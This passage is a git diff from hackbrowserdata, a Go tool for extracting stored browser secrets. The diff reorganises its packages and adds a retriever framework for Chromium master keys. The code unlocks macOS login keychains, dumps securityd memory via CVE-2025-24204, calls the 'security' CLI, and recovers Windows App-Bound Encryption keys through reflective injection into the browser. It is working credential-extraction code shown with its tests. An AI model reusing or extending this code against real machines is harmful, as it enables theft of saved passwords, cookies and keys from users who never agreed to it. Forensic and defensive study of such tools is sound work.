0x00, 0x00}}, - {"keeps short unchanged", []byte{0x01}, []byte{0x01}}, - {"keeps nil unchanged", nil, nil}, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - assert.Equal(t, tt.want, stripPrefix(tt.ciphertext)) - }) - } -} diff --git a/filemanager/copy_windows.go b/filemanager/copy_windows.go index 4f55c94..31b31bf 100644 --- a/filemanager/copy_windows.go +++ b/filemanager/copy_windows.go @@ -9,7 +9,7 @@ import ( "golang.org/x/sys/windows" - "github.com/moond4rk/hackbrowserdata/utils/winapi" + "github.com/moond4rk/hackbrowserdata/internal/winapi" ) // copyLocked copies a file that is locked by another process (e.g., Chrome's diff --git a/crypto/asn1pbe.go b/internal/crypto/asn1pbe.go similarity index 100% rename from crypto/asn1pbe.go rename to internal/crypto/asn1pbe.go diff --git a/crypto/asn1pbe_test.go b/internal/crypto/asn1pbe_test.go similarity index 100% rename from crypto/asn1pbe_test.go rename to internal/crypto/asn1pbe_test.go diff --git a/internal/crypto/blob_test.go b/internal/crypto/blob_test.go new file mode 100644 index 0000000..f7584fc --- /dev/null +++ b/internal/crypto/blob_test.go @@ -0,0 +1,58 @@ +package crypto + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "errors" + "testing" +) + +// encryptAESGCM is a test helper that produces a GCM ciphertext with caller-supplied AAD. +func encryptAESGCM(t *testing.T, key, nonce, plaintext, aad []byte) []byte { + t.Helper() + block, err := aes.NewCipher(key) + if err != nil { + t.Fatalf("aes.NewCipher: %v", err) + } + aead, err := cipher.NewGCM(block) + if err != nil { + t.Fatalf("cipher.NewGCM: %v", err) + } + return aead.Seal(nil, nonce, plaintext, aad) +} + +func TestAESGCMDecryptBlob_RoundTrip(t *testing.T) { + key := bytes.Repeat([]byte{0x55}, 32) + nonce := bytes.Repeat([]byte{0x66}, gcmNonceSize) + aad := []byte("row-aad") + plaintext := []byte("row-plaintext") + blob := append([]byte{}, nonce...) + blob = append(blob, encryptAESGCM(t, key, nonce, plaintext, aad)...) + + got, err := AESGCMDecryptBlob(key, blob, aad) + if err != nil { + t.Fatalf("AESGCMDecryptBlob: %v", err) + } + if !bytes.Equal(got, plaintext) { + t.Errorf("plaintext mismatch: got %q want %q", got, plaintext) + } +} + +func TestAESGCMDecryptBlob_BadAAD(t *testing.T) { + key := bytes.Repeat([]byte{0x55}, 32) + nonce := bytes.Repeat([]byte{0x66}, gcmNonceSize) + blob := append([]byte{}, nonce...) + blob = append(blob, encryptAESGCM(t, key, nonce, []byte("x"), []byte("aad-A"))...) + + if _, err := AESGCMDecryptBlob(key, blob, []byte("aad-B")); err == nil { + t.Fatal("expected authentication failure with mismatched AAD") + } +} + +func TestAESGCMDecryptBlob_TooShort(t *testing.T) { + _, err := AESGCMDecryptBlob(bytes.Repeat([]byte{0x55}, 32), []byte{0x01, 0x02}, nil) + if !errors.Is(err, errShortCiphertext) { + t.Fatalf("expected errShortCiphertext, got %v", err) + } +} diff --git a/crypto/crypto.go b/internal/crypto/crypto.go similarity index 71% rename from crypto/crypto.go rename to internal/crypto/crypto.go index c2a747d..9f74917 100644 --- a/crypto/crypto.go +++ b/internal/crypto/crypto.go @@ -1,11 +1,9 @@ package crypto import ( - "bytes" "crypto/aes" "crypto/cipher" "crypto/des" - "crypto/sha1" "fmt" ) @@ -47,47 +45,8 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) { return cbcDecrypt(block, iv, ciphertext) } -// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20 -// cipher formats. Cross-platform because the v20 ciphertext layout is the -// same regardless of host OS (only Windows currently produces v20). const gcmNonceSize = 12 -// chromiumCBCIV is the fixed IV Chromium uses for AES-CBC v10/v11 (macOS/Linux). -var chromiumCBCIV = bytes.Repeat([]byte{0x20}, aes.BlockSize) - -// kEmptyKey is Chromium's decrypt-only fallback for data corrupted by a KWallet -// race in Chrome ~89 (crbug.com/40055416). Matches kEmptyKey in os_crypt_linux.cc. -var kEmptyKey = PBKDF2Key([]byte(""), []byte("saltysalt"), 1, 16, sha1.New) - -// DecryptChromiumGCM decrypts a prefixed AES-GCM blob: version(3B)+nonce(12B)+ct+tag. -// Used by Windows v10 (AES-256) and v20; the layout is identical and platform-neutral. -func DecryptChromiumGCM(key, ciphertext []byte) ([]byte, error) { - if len(ciphertext) < versionPrefixLen+gcmNonceSize { - return nil, errShortCiphertext - } - nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize] - payload := ciphertext[versionPrefixLen+gcmNonceSize:] - return AESGCMDecrypt(key, nonce, payload) -} - -// DecryptChromiumCBC decrypts a prefixed AES-CBC blob (version(3B)+ct) with Chromium's -// fixed IV, retrying with kEmptyKey to recover crbug.com/40055416 KWallet-corrupted data. -// Used by macOS/Linux v10 and Linux v11 (both AES-128). -func DecryptChromiumCBC(key, ciphertext []byte) ([]byte, error) { - if len(ciphertext) < versionPrefixLen+aes.BlockSize { - return nil, errShortCiphertext - } - payload := ciphertext[versionPrefixLen:] - plaintext, err := AESCBCDecrypt(key, chromiumCBCIV, payload) - if err == nil { - return plaintext, nil - } - if alt, altErr := AESCBCDecrypt(kEmptyKey, chromiumCBCIV, payload); altErr == nil { - return alt, nil - } - return nil, err -} - // AESGCMEncrypt encrypts data using AES-GCM mode. func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) { block, err := aes.NewCipher(key) diff --git a/crypto/crypto_test.go b/internal/crypto/crypto_test.go similarity index 70% rename from crypto/crypto_test.go rename to internal/crypto/crypto_test.go index ccb09b5..249d446 100644 --- a/crypto/crypto_test.go +++ b/internal/crypto/crypto_test.go @@ -185,67 +185,3 @@ func TestDES3Decrypt_EmptyCiphertext(t *testing.T) { _, err = DES3Decrypt(key, iv, []byte{}) require.Error(t, err) } - -// --- Cross-OS Chromium v10/v11 decryption --- -// DecryptChromiumGCM / DecryptChromiumCBC are platform-neutral, so these run on every -// GOOS and prove a key dumped on one platform decrypts that platform's data anywhere. - -// key32 is the 32-byte AES-256-GCM tier (Windows v10 / v20); aesKey is the 16-byte -// AES-128-CBC tier (macOS/Linux v10/v11). -var key32 = bytes.Repeat([]byte(baseKey), 4) - -func TestDecryptChromiumGCM_CrossPlatform(t *testing.T) { - plaintext := []byte("windows_v10_value") - gcm, err := AESGCMEncrypt(key32, aesGCMNonce, plaintext) - require.NoError(t, err) - - ciphertext := append([]byte("v10"), append(aesGCMNonce, gcm...)...) - got, err := DecryptChromiumGCM(key32, ciphertext) - require.NoError(t, err) - assert.Equal(t, plaintext, got) -} - -func TestDecryptChromiumCBC_CrossPlatform(t *testing.T) { - plaintext := []byte("posix_v10_value") - enc, err := AESCBCEncrypt(aesKey, chromiumCBCIV, plaintext) - require.NoError(t, err) - - ciphertext := append([]byte("v10"), enc...) - got, err := DecryptChromiumCBC(aesKey, ciphertext) - require.NoError(t, err) - assert.Equal(t, plaintext, got) -} - -// TestKEmptyKey_MatchesChromium pins the runtime-derived kEmptyKey to Chromium's -// reference bytes in os_crypt_linux.cc; now cross-platform since kEmptyKey is -// defined for every GOOS. -func TestKEmptyKey_MatchesChromium(t *testing.T) { - want := []byte{ - 0xd0, 0xd0, 0xec, 0x9c, 0x7d, 0x77, 0xd4, 0x3a, - 0xc5, 0x41, 0x87, 0xfa, 0x48, 0x18, 0xd1, 0x7f, - } - assert.Equal(t, want, kEmptyKey) - assert.Len(t, kEmptyKey, 16) -} - -func TestDecryptChromiumCBC_EmptyKeyFallback(t *testing.T) { - plaintext := []byte("legacy_kwallet_value") - encrypted, err := AESCBCEncrypt(kEmptyKey, chromiumCBCIV, plaintext) - require.NoError(t, err) - ciphertext := append([]byte("v11"), encrypted...) - - wrongKey := bytes.Repeat([]byte{0xAA}, 16) - got, err := DecryptChromiumCBC(wrongKey, ciphertext) - require.NoError(t, err) - assert.Equal(t, plaintext, got) -} - -func TestDecryptChromium_ShortCiphertext(t *testing.T) { - // GCM minimum is prefix(3)+nonce(12) = 15 bytes. - _, err := DecryptChromiumGCM(key32, []byte("v10nonce11")) - require.ErrorIs(t, err, errShortCiphertext) - - // CBC minimum is prefix(3)+block(16) = 19 bytes. - _, err = DecryptChromiumCBC(aesKey, []byte("v11short")) - require.ErrorIs(t, err, errShortCiphertext) -} diff --git a/internal/crypto/errors.go b/internal/crypto/errors.go new file mode 100644 index 0000000..9bf7985 --- /dev/null +++ b/internal/crypto/errors.go @@ -0,0 +1,14 @@ +package crypto + +import "errors" + +// Sentinel errors for crypto operations. +var ( + errShortCiphertext = errors.New("ciphertext too short") + errInvalidBlockSize = errors.New("ciphertext is not a multiple of the block size") + errInvalidIVLength = errors.New("IV length must equal block size") + errInvalidPadding = errors.New("invalid PKCS5 padding") + errInvalidNonceLen = errors.New("nonce length must equal GCM nonce size") + errUnsupportedIVLen = errors.New("unsupported IV length") + errDecodeASN1 = errors.New("failed to decode ASN1 data") +) diff --git a/crypto/pbkdf2.go b/internal/crypto/pbkdf2.go similarity index 100% rename from crypto/pbkdf2.go rename to internal/crypto/pbkdf2.go diff --git a/crypto/pbkdf2_test.go b/internal/crypto/pbkdf2_test.go similarity index 100% rename from crypto/pbkdf2_test.go rename to internal/crypto/pbkdf2_test.go diff --git a/internal/keychain/keychain_darwin.go b/internal/keychain/keychain_darwin.go new file mode 100644 index 0000000..e9a1db2 --- /dev/null +++ b/internal/keychain/keychain_darwin.go @@ -0,0 +1,115 @@ +// Package keychain owns the user's macOS login keychain: one handle per run, opened on first use. +package keychain + +import ( + "context" + "errors" + "fmt" + "sync" + + "github.com/moond4rk/keychainbreaker" +) + +// PasswordFunc yields the login password; "" means none was supplied. +type PasswordFunc func(ctx context.Context) (string, error) + +// ErrLocked reports that no usable password was supplied, so the keychain yields metadata only. +var ErrLocked = errors.New("login keychain is locked") + +var errNotFound = errors.New("not found in login keychain") + +type Keychain struct { + path string + password PasswordFunc + + openOnce sync.Once + kc *keychainbreaker.Keychain + err error + + genericOnce sync.Once + generic []keychainbreaker.GenericPassword + genericErr error +} + +// New does no I/O, so building a handle never prompts; the first query opens the keychain. +func New(path string, password PasswordFunc) *Keychain { + return &Keychain{path: path, password: password} +} + +func (k *Keychain) GenericPassword(ctx context.Context, account string) ([]byte, error) { + if err := k.open(ctx); err != nil { + return nil, err + } + if !k.kc.Unlocked() { + if k.err != nil { + return nil, k.err + } + return nil, ErrLocked + } + k.genericOnce.Do(func() { + k.generic, k.genericErr = k.kc.GenericPasswords() + }) + if k.genericErr != nil { + return nil, fmt.Errorf("read generic passwords: %w", k.genericErr) + } + for _, rec := range k.generic { + if rec.Account == account { + return rec.Password, nil + } + } + return nil, fmt.Errorf("%q: %w", account, errNotFound) +} + +// InternetPasswords leaves the secrets empty when the keychain is locked. +func (k *Keychain) InternetPasswords(ctx context.Context) ([]keychainbreaker.InternetPassword, error) { + if err := k.open(ctx); err != nil { + return nil, err + } + passwords, err := k.kc.InternetPasswords() + if err != nil { + return nil, fmt.Errorf("read internet passwords: %w", err) + } + return passwords, nil +} + +// Err is why the keychain is locked or unreadable; nil when it is open or was never used. +func (k *Keychain) Err() error { + return k.err +} + +func (k *Keychain) open(ctx context.Context) error { + k.openOnce.Do(func() { + kc, err := keychainbreaker.Open(keychainbreaker.WithFile(k.path)) + if err != nil { + k.err = fmt.Errorf("open login keychain: %w", err) + return + } + k.kc = kc + k.err = k.unlock(ctx) + }) + if k.kc == nil { + return k.err + } + return nil +} + +// unlock uses TryUnlock even without a password, so a locked keychain still yields its metadata. +func (k *Keychain) unlock(ctx context.Context) error { + password, err := k.password(ctx) + if err != nil { + if tryErr := k.kc.TryUnlock(); tryErr != nil { + return fmt.Errorf("%w: read password: %w", ErrLocked, errors.Join(err, tryErr)) + } + return fmt.Errorf("%w: read password: %w", ErrLocked, err) + } + if password == "" { + if err := k.kc.TryUnlock(); err != nil { + return fmt.Errorf("%w: %w", ErrLocked, err) + } + return ErrLocked + } + if err := k.kc.TryUnlock(keychainbreaker.WithPassword(password)); err != nil { + return fmt.Errorf("%w: %w", ErrLocked, err) + } + return nil +} diff --git a/internal/keychain/keychain_darwin_test.go b/internal/keychain/keychain_darwin_test.go new file mode 100644 index 0000000..df6e796 --- /dev/null +++ b/internal/keychain/keychain_darwin_test.go @@ -0,0 +1,35 @@ +package keychain + +import ( + "context" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestNew_NeitherOpensNorPrompts(t *testing.T) { + kc := New(filepath.Join(t.TempDir(), "login.keychain-db"), func(context.Context) (string, error) { + t.Fatal("building a keychain handle must not ask for the password") + return "", nil + }) + assert.NoError(t, kc.Err(), "a keychain that was never used has no error") +} + +// An unreadable keychain fails before any prompt, once, and every query reports the same reason. +func TestOpenFailure_IsReportedOnceWithoutPrompting(t *testing.T) { + prompts := 0 + kc := New(filepath.Join(t.TempDir(), "missing.keychain-db"), func(context.Context) (string, error) { + prompts++ + return "secret", nil + }) + + _, err := kc.GenericPassword(context.Background(), "Chrome Safe Storage") + require.ErrorContains(t, err, "open login keychain") + _, err2 := kc.InternetPasswords(context.Background()) + require.Equal(t, err, err2) + + assert.Equal(t, err, kc.Err()) + assert.Zero(t, prompts) +} diff --git a/masterkey/abe_windows.go b/internal/masterkey/abe_windows.go similarity index 78% rename from masterkey/abe_windows.go rename to internal/masterkey/abe_windows.go index 020efad..7fa9d0f 100644 --- a/masterkey/abe_windows.go +++ b/internal/masterkey/abe_windows.go @@ -3,18 +3,18 @@ package masterkey import ( + "context" "encoding/base64" "errors" "fmt" "os" - "strings" "github.com/tidwall/gjson" "github.com/moond4rk/hackbrowserdata/crypto/windows/payload" "github.com/moond4rk/hackbrowserdata/internal/log" + "github.com/moond4rk/hackbrowserdata/internal/winapi" "github.com/moond4rk/hackbrowserdata/utils/injector" - "github.com/moond4rk/hackbrowserdata/utils/winutil" ) const envEncKeyB64 = "HBD_ABE_ENC_B64" @@ -23,19 +23,19 @@ var appbPrefix = []byte{'A', 'P', 'P', 'B'} var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key") -type ABERetriever struct{} +type abeRetriever struct{} -func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) { - // Non-ABE forks (Opera/Vivaldi/Yandex) supply no WindowsABEKey — treat as "not applicable". - // (Pre-v20 Chrome takes the errNoABEKey path below.) - browserKey := strings.TrimSpace(hints.WindowsABEKey) - if browserKey == "" { - return nil, nil +func (abeRetriever) Version() Version { return V20 } + +func (abeRetriever) Retrieve(_ context.Context, loc Locator) ([]byte, error) { + // Non-ABE forks (Opera/Vivaldi/Yandex) have no ABE kind; pre-v20 Chrome takes the errNoABEKey path below. + if loc.ABE == ABENone { + return nil, ErrNotApplicable } - encKey, err := loadEncryptedKey(hints.LocalStatePath) + encKey, err := loadEncryptedKey(loc.LocalState) if errors.Is(err, errNoABEKey) { - return nil, nil + return nil, ErrNotApplicable } if err != nil { return nil, err @@ -46,7 +46,7 @@ func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) { return nil, fmt.Errorf("abe: %w", err) } - exePath, err := winutil.ExecutablePath(browserKey) + exePath, err := winapi.ExecutablePath(loc.Exe, loc.ExeFallbacks) if err != nil { return nil, fmt.Errorf("abe: %w", err) } @@ -63,7 +63,7 @@ func (r *ABERetriever) RetrieveKey(hints Hints) ([]byte, error) { if len(key) != 32 { return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key)) } - log.Infof("abe: retrieved %s master key via reflective injection", browserKey) + log.Infof("abe: retrieved %s master key via reflective injection", loc.Exe) return key, nil } diff --git a/internal/masterkey/dpapi_other.go b/internal/masterkey/dpapi_other.go new file mode 100644 index 0000000..ea5a101 --- /dev/null +++ b/internal/masterkey/dpapi_other.go @@ -0,0 +1,12 @@ +//go:build !windows + +package masterkey + +import ( + "fmt" + "runtime" +) + +func DecryptDPAPI(_ []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI on %s: %w", runtime.GOOS, ErrNotApplicable) +} diff --git a/masterkey/dump.go b/internal/masterkey/dump.go similarity index 91% rename from masterkey/dump.go rename to internal/masterkey/dump.go index 8395b75..b48b49c 100644 --- a/masterkey/dump.go +++ b/internal/masterkey/dump.go @@ -33,11 +33,11 @@ type Host struct { // Browser is the lookup key (e.g. "chrome"); Kind is the engine ("chromium"|"chromium-yandex"| // "chromium-opera") so a consumer can rebuild the engine without the local browser table. type Vault struct { - Browser string `json:"browser"` - Kind string `json:"kind"` - UserDataDir string `json:"user_data_dir"` - Profiles []string `json:"profiles"` - Keys MasterKeys `json:"keys"` + Browser string `json:"browser"` + Kind string `json:"kind"` + UserDataDir string `json:"user_data_dir"` + Profiles []string `json:"profiles"` + Keys Set `json:"keys"` } func NewDump() Dump { diff --git a/masterkey/dump_test.go b/internal/masterkey/dump_test.go similarity index 64% rename from masterkey/dump_test.go rename to internal/masterkey/dump_test.go index c201997..8c34cf4 100644 --- a/masterkey/dump_test.go +++ b/internal/masterkey/dump_test.go @@ -47,7 +47,7 @@ func TestDump_VaultKindRoundTrip(t *testing.T) { Kind: "chromium", UserDataDir: "/p", Profiles: []string{"Default"}, - Keys: MasterKeys{V10: []byte{0x01}}, + Keys: Set{V10: []byte{0x01}}, }) var buf bytes.Buffer @@ -68,3 +68,32 @@ func TestDump_VaultKindRoundTrip(t *testing.T) { t.Errorf("Vault.Browser round-trip: got %q, want %q", parsed.Vaults[0].Browser, "chrome") } } + +// keys.json is a frozen format: present versions only, in key order, and {} for a vault without keys. +func TestDump_KeysWireForm(t *testing.T) { + d := Dump{Version: DumpVersion, Vaults: []Vault{ + {Browser: "chrome", Keys: Set{V20: []byte{0x20}, V10: []byte{0x10}}}, + {Browser: "opera", Keys: Set{}}, + }} + var buf bytes.Buffer + if err := d.WriteJSON(&buf); err != nil { + t.Fatalf("WriteJSON: %v", err) + } + out := buf.String() + for _, want := range []string{`"keys": {` + "\n" + ` "v10": "EA==",` + "\n" + ` "v20": "IA=="`, `"keys": {}`} { + if !strings.Contains(out, want) { + t.Errorf("WriteJSON output lacks %q:\n%s", want, out) + } + } +} + +func TestReadJSON_IgnoresUnknownKeyVersions(t *testing.T) { + input := bytes.NewBufferString(`{"version":"2","vaults":[{"browser":"chrome","keys":{"v10":"EA==","v99":"AQ=="}}]}`) + d, err := ReadJSON(input) + if err != nil { + t.Fatalf("ReadJSON: %v", err) + } + if got := d.Vaults[0].Keys[V10]; !bytes.Equal(got, []byte{0x10}) { + t.Errorf("v10 = %x, want 10", got) + } +} diff --git a/masterkey/gcoredump_darwin.go b/internal/masterkey/gcoredump_darwin.go similarity index 100% rename from masterkey/gcoredump_darwin.go rename to internal/masterkey/gcoredump_darwin.go diff --git a/masterkey/gcoredump_stub_darwin.go b/internal/masterkey/gcoredump_stub_darwin.go similarity index 100% rename from masterkey/gcoredump_stub_darwin.go rename to internal/masterkey/gcoredump_stub_darwin.go diff --git a/internal/masterkey/masterkey.go b/internal/masterkey/masterkey.go new file mode 100644 index 0000000..2c89e7d --- /dev/null +++ b/internal/masterkey/masterkey.go @@ -0,0 +1,99 @@ +// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format). +// Firefox and Safari own their own key paths and don't route through here. +package masterkey + +import ( + "context" + "errors" + "fmt" + + "github.com/moond4rk/hackbrowserdata/internal/log" +) + +// Version is a Chromium ciphertext's version prefix. +type Version string + +const ( + V10 Version = "v10" + V11 Version = "v11" + V20 Version = "v20" +) + +// Set holds one user data dir's key per version; encoding/json writes it as keys.json's "keys" object. +type Set map[Version][]byte + +// Retriever obtains one version's key from one OS secret store. +type Retriever interface { + Version() Version + Retrieve(ctx context.Context, loc Locator) ([]byte, error) +} + +// ErrNotApplicable is a retriever's way of stepping aside; it never counts as a failure. +var ErrNotApplicable = errors.New("retriever not applicable") + +// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring). +var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux + +// Locator is where one user data dir's keys are found; each retriever reads only the fields of its OS. +type Locator struct { + LocalState string // the copied Local State; "" when the user data dir has none + KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label + Exe string + ExeFallbacks []string + ABE ABEKind + Keychain LoginKeychain // macOS: the run's login keychain; nil elsewhere +} + +// LoginKeychain is the one method the macOS v10 retriever reads from the run's login keychain. +type LoginKeychain interface { + GenericPassword(ctx context.Context, account string) ([]byte, error) +} + +// ABEKind is the payload's elevation-service dialect; the zero ABENone leaves a browser on DPAPI alone. +type ABEKind int + +const ( + ABENone ABEKind = iota + ABEChromeBase + ABEEdge + ABEAvast +) + +// RetrieveAll runs this OS's retrievers in order. Per version the first key wins and later retrievers are not +// tried; a version's error is reported only when all its retrievers fail, and a v20 failure never drops the v10 key. +func RetrieveAll(ctx context.Context, loc Locator) (Set, error) { + return retrieveAll(ctx, loc, platformRetrievers) +} + +func retrieveAll(ctx context.Context, loc Locator, retrievers []Retriever) (Set, error) { + keys := make(Set) + var versions []Version + failures := make(map[Version][]error) + for _, r := range retrievers { + v := r.Version() + if _, ok := keys[v]; ok { + continue + } + if _, ok := failures[v]; !ok { + versions = append(versions, v) + failures[v] = nil + } + key, err := r.Retrieve(ctx, loc) + switch { + case errors.Is(err, ErrNotApplicable): + case err != nil: + log.Debugf("%s retriever %T failed: %v", v, r, err) + failures[v] = append(failures[v], err) + case len(key) > 0: + keys[v] = key + } + } + + var errs []error + for _, v := range versions { + if _, ok := keys[v]; !ok && len(failures[v]) > 0 { + errs = append(errs, fmt.Errorf("%s: %w", v, errors.Join(failures[v]...))) + } + } + return keys, errors.Join(errs...) +} diff --git a/internal/masterkey/masterkey_test.go b/internal/masterkey/masterkey_test.go new file mode 100644 index 0000000..3d7f527 --- /dev/null +++ b/internal/masterkey/masterkey_test.go @@ -0,0 +1,131 @@ +package masterkey + +import ( + "bytes" + "context" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// fakeRetriever records its calls so tests can tell which retrievers ran, and with what. +type fakeRetriever struct { + version Version + key []byte + err error + + calls int + gotLoc Locator +} + +func (r *fakeRetriever) Version() Version { return r.version } + +func (r *fakeRetriever) Retrieve(_ context.Context, loc Locator) ([]byte, error) { + r.calls++ + r.gotLoc = loc + return r.key, r.err +} + +var ( + k10 = bytes.Repeat([]byte{0x10}, 32) + k11 = bytes.Repeat([]byte{0x11}, 32) + k20 = bytes.Repeat([]byte{0x20}, 32) +) + +func TestRetrieveAll_OneKeyPerVersion(t *testing.T) { + tests := []struct { + name string + retrievers []*fakeRetriever + want Set + }{ + { + name: "Windows shape: v10 and v20", + retrievers: []*fakeRetriever{{version: V10, key: k10}, {version: V20, key: k20}}, + want: Set{V10: k10, V20: k20}, + }, + { + name: "Linux shape: v10 and v11", + retrievers: []*fakeRetriever{{version: V10, key: k10}, {version: V11, key: k11}}, + want: Set{V10: k10, V11: k11}, + }, + { + name: "macOS shape: v10 only", + retrievers: []*fakeRetriever{{version: V10, key: k10}}, + want: Set{V10: k10}, + }, + { + name: "no retrievers", + retrievers: nil, + want: Set{}, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := retrieveAll(context.Background(), Locator{}, asRetrievers(tt.retrievers)) + require.NoError(t, err) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestRetrieveAll_FirstKeyWinsAndStopsTheVersion(t *testing.T) { + failing := &fakeRetriever{version: V10, err: errors.New("needs root")} + winner := &fakeRetriever{version: V10, key: k10} + later := &fakeRetriever{version: V10, key: bytes.Repeat([]byte{0xFF}, 16)} + + got, err := retrieveAll(context.Background(), Locator{}, []Retriever{failing, winner, later}) + require.NoError(t, err, "a strategy that failed before a later one succeeded is not an error") + assert.Equal(t, Set{V10: k10}, got) + assert.Equal(t, []int{1, 1, 0}, []int{failing.calls, winner.calls, later.calls}) +} + +func TestRetrieveAll_VersionsAreIndependent(t *testing.T) { + v20 := &fakeRetriever{version: V20, err: errors.New("abe: inject failed")} + got, err := retrieveAll(context.Background(), Locator{}, []Retriever{ + &fakeRetriever{version: V10, key: k10}, + v20, + }) + require.Error(t, err) + assert.Contains(t, err.Error(), "v20: abe: inject failed") + assert.Equal(t, Set{V10: k10}, got, "a v20 failure keeps the v10 key") +} + +func TestRetrieveAll_ErrorOnlyWhenEveryRetrieverFails(t *testing.T) { + first := errors.New("keychain: not found") + second := errors.New("security command: denied") + _, err := retrieveAll(context.Background(), Locator{}, []Retriever{ + &fakeRetriever{version: V10, err: first}, + &fakeRetriever{version: V10, err: second}, + }) + require.Error(t, err) + require.ErrorIs(t, err, first) + require.ErrorIs(t, err, second) +} + +func TestRetrieveAll_NotApplicableIsSilent(t *testing.T) { + got, err := retrieveAll(context.Background(), Locator{}, []Retriever{ + &fakeRetriever{version: V10, err: ErrNotApplicable}, + &fakeRetriever{version: V20, err: ErrNotApplicable}, + &fakeRetriever{version: V11}, + }) + require.NoError(t, err) + assert.Empty(t, got) +} + +func TestRetrieveAll_PassesTheLocator(t *testing.T) { + r := &fakeRetriever{version: V10, key: k10} + loc := Locator{LocalState: "/tmp/Local State", KeychainLabel: "Chrome", Exe: "chrome.exe", ABE: ABEChromeBase} + _, err := retrieveAll(context.Background(), loc, []Retriever{r}) + require.NoError(t, err) + assert.Equal(t, loc, r.gotLoc) +} + +func asRetrievers(fakes []*fakeRetriever) []Retriever { + rs := make([]Retriever, 0, len(fakes)) + for _, f := range fakes { + rs = append(rs, f) + } + return rs +} diff --git a/masterkey/params.go b/internal/masterkey/params.go similarity index 88% rename from masterkey/params.go rename to internal/masterkey/params.go index c1077d3..b0ae777 100644 --- a/masterkey/params.go +++ b/internal/masterkey/params.go @@ -5,7 +5,7 @@ package masterkey import ( "hash" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/crypto" ) // pbkdf2Params holds platform-specific PBKDF2 parameters (each platform file defines its own). diff --git a/masterkey/retriever_darwin.go b/internal/masterkey/retriever_darwin.go similarity index 50% rename from masterkey/retriever_darwin.go rename to internal/masterkey/retriever_darwin.go index c0fc4a5..6bf8ae9 100644 --- a/masterkey/retriever_darwin.go +++ b/internal/masterkey/retriever_darwin.go @@ -15,6 +15,7 @@ import ( "github.com/moond4rk/keychainbreaker" + "github.com/moond4rk/hackbrowserdata/internal/keychain" "github.com/moond4rk/hackbrowserdata/internal/log" ) @@ -28,44 +29,42 @@ var darwinParams = pbkdf2Params{ const securityCmdTimeout = 30 * time.Second -// GcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root). +// The v10 strategies in order, first success wins: the securityd dump (root only), the run's login keychain, +// then the `security` CLI, which may prompt. +var platformRetrievers = []Retriever{ + &gcoredumpRetriever{}, + keychainRetriever{}, + &securityRetriever{cache: make(map[string]securityResult)}, +} + +// gcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root). // Records are cached once (sync.Once) so the dump runs a single time across all browsers. -type GcoredumpRetriever struct { +type gcoredumpRetriever struct { once sync.Once records []keychainbreaker.GenericPassword err error } -// RetrieveKey returns (nil, nil) on failure so ChainRetriever falls through silently — the common -// "needs root" case isn't warning-worthy and would drown real warnings (same as ABERetriever). -func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) { +func (*gcoredumpRetriever) Version() Version { return V10 } + +// Retrieve steps aside on failure: the common "needs root" case isn't warning-worthy and would drown real warnings. +func (r *gcoredumpRetriever) Retrieve(_ context.Context, loc Locator) ([]byte, error) { r.once.Do(func() { r.records, r.err = DecryptKeychainRecords() }) if r.err != nil { log.Debugf("gcoredump: %v", r.err) - return nil, nil //nolint:nilerr // intentional silent fallthrough + return nil, ErrNotApplicable } - key, err := findStorageKey(r.records, hints.KeychainLabel) + key, err := findStorageKey(r.records, loc.KeychainLabel) if err != nil { log.Debugf("gcoredump: %v", err) - return nil, nil //nolint:nilerr // intentional silent fallthrough + return nil, ErrNotApplicable } return key, nil } -func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) { - kc, err := keychainbreaker.Open() - if err != nil { - return nil, fmt.Errorf("open keychain: %w", err) - } - if err := kc.Unlock(keychainbreaker.WithPassword(password)); err != nil { - return nil, fmt.Errorf("unlock keychain: %w", err) - } - return kc.GenericPasswords() -} - func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) { for _, rec := range records { if rec.Account == storage { @@ -75,34 +74,29 @@ func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ( return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } -// KeychainPasswordRetriever unlocks login.keychain-db with the macOS login password (no root). -// Records are cached once and reused across browsers. -type KeychainPasswordRetriever struct { - Password string +// keychainRetriever reads the label's secret from the run's login keychain (no root). Without a keychain, or with a +// locked one, it steps aside: the keychain reports why once for the whole run. +type keychainRetriever struct{} - once sync.Once - records []keychainbreaker.GenericPassword - err error +func (keychainRetriever) Version() Version { return V10 } + +func (keychainRetriever) Retrieve(ctx context.Context, loc Locator) ([]byte, error) { + if loc.Keychain == nil { + return nil, ErrNotApplicable + } + secret, err := loc.Keychain.GenericPassword(ctx, loc.KeychainLabel) + if errors.Is(err, keychain.ErrLocked) { + return nil, ErrNotApplicable + } + if err != nil { + return nil, err + } + return darwinParams.deriveKey(secret), nil } -func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) { - if r.Password == "" { - return nil, fmt.Errorf("keychain password not provided") - } - - r.once.Do(func() { - r.records, r.err = loadKeychainRecords(r.Password) - }) - if r.err != nil { - return nil, r.err - } - - return findStorageKey(r.records, hints.KeychainLabel) -} - -// SecurityCmdRetriever queries Keychain via the macOS `security` CLI (may prompt). Results are +// securityRetriever queries Keychain via the 